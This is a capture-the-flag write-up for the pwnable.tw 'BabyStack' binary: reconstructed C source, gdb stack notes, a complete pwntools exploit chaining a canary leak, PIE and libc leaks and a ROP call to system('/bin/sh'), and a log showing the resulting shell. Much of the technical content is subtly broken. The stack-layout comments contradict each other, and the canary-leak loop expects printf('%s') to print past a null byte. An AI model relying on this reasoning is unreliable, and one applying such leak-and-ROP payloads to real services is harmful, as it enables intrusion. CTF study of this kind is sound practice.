BabyStack

$ checksec babystack
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ ./babystack
1. Login
2. Write
3. Read
4. Logout
5. Exit
>>1
Name: AAAA
Login Success!

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>2
Data: BBBB

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>3
BBBB

1. Login
2. Write
3. Read
4. Logout
5. Exit
>>

int main() {
    int choice;
    char canary[4];    // "canary" stored on stack
    char buf[0x40];    // 64-byte buffer for user data

    memset(canary, 0, 4);
    memset(buf, 0, 0x40);

    while (1) {
        print_menu();
        read(0, &choice, 4);
        choice = atoi(&choice);

        switch (choice) {
            case 1: login(canary);   break;
            case 2: write_buf(buf);  break;
            case 3: read_buf(buf);   break;
            case 4: logout(canary);  break;
            case 5: exit(0);         break;
        }
    }
}

void login(char *canary) {
    char name[0x20];   // 32-byte name buffer

    if (canary[0] != 0) {
        puts("Already logged in!");
        return;
    }

    printf("Name:");
    read(0, name, 0x28);   // BUG: reads 40 bytes into 32-byte buffer!

    // Copy the first 4 bytes of name as the "canary"
    strncpy(canary, name, 4);
    puts("Login Success!");
}

void write_buf(char *buf) {
    printf("Data:");
    read(0, buf, 0x40);    // Read up to 64 bytes into buf
}

void read_buf(char *buf) {
    if (canary_check(buf) != 0) {
        puts("Stack Smashing Detected!");
        exit(1);
    }
    printf("%s", buf);    // Print the buffer content
}

// The custom canary is placed right after buf on the stack
// Layout: [buf 0x40 bytes] [custom_canary 4 bytes] [real_canary] [saved_ebp] [ret]
//
// canary_check uses strncmp to compare the first 3 bytes
// of the custom canary with the stored value:

int canary_check(char *buf) {
    return strncmp(buf + 0x40, stored_canary, 3);  // Only checks 3 bytes!
}

void logout(char *canary) {
    memset(canary, 0, 4);   // Clear the canary
    puts("Logout Success!");
}

gdb-peda$ # After login with name "AAAA"
gdb-peda$ x/40wx $esp

# Stack layout in main():
# ESP+0x00:  [local vars]
# ESP+0x1c:  canary[0..3]    = "AAAA" (custom canary from login)
# ESP+0x20:  buf[0..63]      = user data buffer (0x40 bytes)
# ESP+0x60:  REAL_CANARY     = 0xXXXXXX00 (gcc stack canary)
# ESP+0x64:  SAVED_EBP       = saved frame pointer
# ESP+0x68:  RETURN_ADDR     = return address (PIE-relative)

gdb-peda$ # Step 1: Fill buf with 0x40 'A's, then read
gdb-peda$ # printf("%s", buf) will print all 0x40 'A's
gdb-peda$ # Then it continues past buf into the canary...
gdb-peda$ # But the canary's first byte is 0x00, so printf stops!

# Output: "AAAA...AAAA" + bytes until 0x00
# We now know: canary[0] = 0x00 (as expected)

# Step 2: Write 0x40 'A's + known_canary_byte_0 (0x00)
# Now buf + canary[0] = 0x41 bytes of data
# printf continues to canary[1], which stops at canary[1] if it's 0x00
# Otherwise we see canary[1]

# Step 3: Write 0x40 'A's + canary[0] + canary[1]
# printf continues to canary[2]

# Step 4: Write 0x40 'A's + canary[0..2]
# printf continues to canary[3]

# After 4 iterations, we have the full canary!

gdb-peda$ # After leaking all 4 canary bytes
gdb-peda$ # Write: 0x40 'A's + canary[4 bytes] + continue leaking
gdb-peda$ # printf will print: 'A'*64 + canary + saved_ebp (4 bytes) + ...

# The saved EBP and return address are PIE-relative
# Return address is something like: 0x565XXXXX
# PIE base = return_address - offset_of_return_instruction

gdb-peda$ x/1wx $esp+0x68
0xffffd6e8:  0x5655688a
#            ^ return address in .text
# offset from IDA: 0x88a
# PIE base = 0x5655688a - 0x88a = 0x56556000

gdb-peda$ # GOT is at PIE_base + GOT_offset
gdb-peda$ # Even with Full RELRO, we can READ the GOT
gdb-peda$ # (we just can't write to it)

gdb-peda$ x/1wx 0x56556ffc   # read@GOT
0x56556ffc:  0xf7e4dc80
#            ^ this is read() in libc!

# libc_base = 0xf7e4dc80 - libc.symbols['read']
# With libc base known, we can compute:
# system_addr = libc_base + libc.symbols['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

#!/usr/bin/env python3
"""
BabyStack — pwnable.tw (300 pts)
Leak canary byte-by-byte via strncmp(3) bypass + printf("%s") overread,
leak PIE via saved return address, leak libc via puts@PLT(read@GOT) ROP,
then ROP to system("/bin/sh").
"""
from pwn import *

context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10101)
libc = ELF('./libc_32.so.6')
elf  = ELF('./babystack')

BUF = 0x40

# ── helpers ───────────────────────────────────────────────
def login(name):
    r.sendlineafter(b'>>', b'1')
    r.sendafter(b':', name)

def write_buf(data):
    r.sendlineafter(b'>>', b'2')
    r.sendafter(b':', data)

def read_buf():
    r.sendlineafter(b'>>', b'3')
    return r.recvuntil(b'\n', drop=True)

def logout():
    r.sendlineafter(b'>>', b'4')

def do_exit():
    r.sendlineafter(b'>>', b'5')

# ── Phase 1: leak canary byte-by-byte ────────────────────
log.info("Phase 1 — leak stack canary")

# strncmp(canary_on_stack, input_canary, 3) passes when both
# start with \x00 (gcc canary LSB is always 0x00)
login(b'\x00\x00\x00' + b'A')

canary = b'\x00'
for i in range(3):
    write_buf(b'A' * BUF + canary)
    leak = read_buf()
    next_byte = leak[BUF + len(canary):BUF + len(canary) + 1]
    canary += next_byte
    log.info(f"  byte {i+1}: 0x{next_byte[0]:02x}")

canary = canary.ljust(4, b'\x00')
log.success(f"Canary: {canary.hex()}")

# ── Phase 2: leak PIE base ───────────────────────────────
log.info("Phase 2 — leak PIE base")

write_buf(b'A' * BUF + canary + b'B' * 4)
leak = read_buf()

off = BUF + 4 + 4  # skip buf + canary + pad
leaked_ebp = u32(leak[off:off+4])
leaked_ret = u32(leak[off+4:off+8])

# Offset of the return instruction in main (from IDA/GDB)
main_ret_off = 0x88a
pie_base = leaked_ret - main_ret_off

log.success(f"Leaked EBP: {hex(leaked_ebp)}")
log.success(f"Leaked RET: {hex(leaked_ret)}")
log.success(f"PIE base:   {hex(pie_base)}")

# ── Phase 3: leak libc via GOT ───────────────────────────
log.info("Phase 3 — leak libc via puts@PLT(read@GOT)")

puts_plt  = pie_base + elf.plt['puts']
read_got  = pie_base + elf.got['read']
main_addr = pie_base + elf.symbols['main']

# ROP: puts(read@GOT) -> main (gives us a second chance)
payload  = b'A' * BUF + canary
payload += b'BBBB'           # saved EBP
payload += p32(puts_plt)     # ret -> puts
payload += p32(main_addr)    # puts returns to main
payload += p32(read_got)     # arg: read@GOT

write_buf(payload)
do_exit()  # trigger return from main

leaked_read = u32(r.recv(4))
libc_base = leaked_read - libc.symbols['read']

log.success(f"Leaked read(): {hex(leaked_read)}")
log.success(f"Libc base:     {hex(libc_base)}")

# ── Phase 4: ROP to system("/bin/sh") ────────────────────
log.info("Phase 4 — ROP to system(\"/bin/sh\")")

system_addr = libc_base + libc.symbols['system']
bin_sh      = libc_base + next(libc.search(b'/bin/sh'))

# Program looped back to main, login again
login(b'\x00\x00\x00' + b'A')

payload  = b'A' * BUF + canary
payload += b'BBBB'           # saved EBP
payload += p32(system_addr)  # ret -> system
payload += p32(0xdeadbeef)   # system's return (don't care)
payload += p32(bin_sh)       # arg: "/bin/sh"

write_buf(payload)
do_exit()

r.interactive()

$ python3 exploit.py
[*] '/babystack'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
[*] Phase 1 — leak stack canary
[*]   byte 1: 0x2a
[*]   byte 2: 0x7f
[*]   byte 3: 0xb4
[+] Canary: 002a7fb4
[*] Phase 2 — leak PIE base
[+] Leaked EBP: 0xffe2d4c0
[+] Leaked RET: 0x5659f88a
[+] PIE base:   0x5659f000
[*] Phase 3 — leak libc via puts@PLT(read@GOT)
[+] Leaked read(): 0xf7e4dc80
[+] Libc base:     0xf7e28000
[*] Phase 4 — ROP to system("/bin/sh")
[*] Switching to interactive mode

$ id
uid=1000(babystack) gid=1000(babystack) groups=1000(babystack)
$ cat /home/babystack/flag